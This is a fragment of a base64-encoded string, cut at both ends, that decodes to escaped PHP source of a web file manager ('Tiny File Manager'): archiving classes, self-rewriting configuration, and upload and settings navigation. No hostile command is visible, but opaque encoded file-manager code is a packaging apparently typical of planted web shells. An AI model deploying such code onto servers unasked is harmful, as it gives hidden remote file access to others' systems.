oJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcH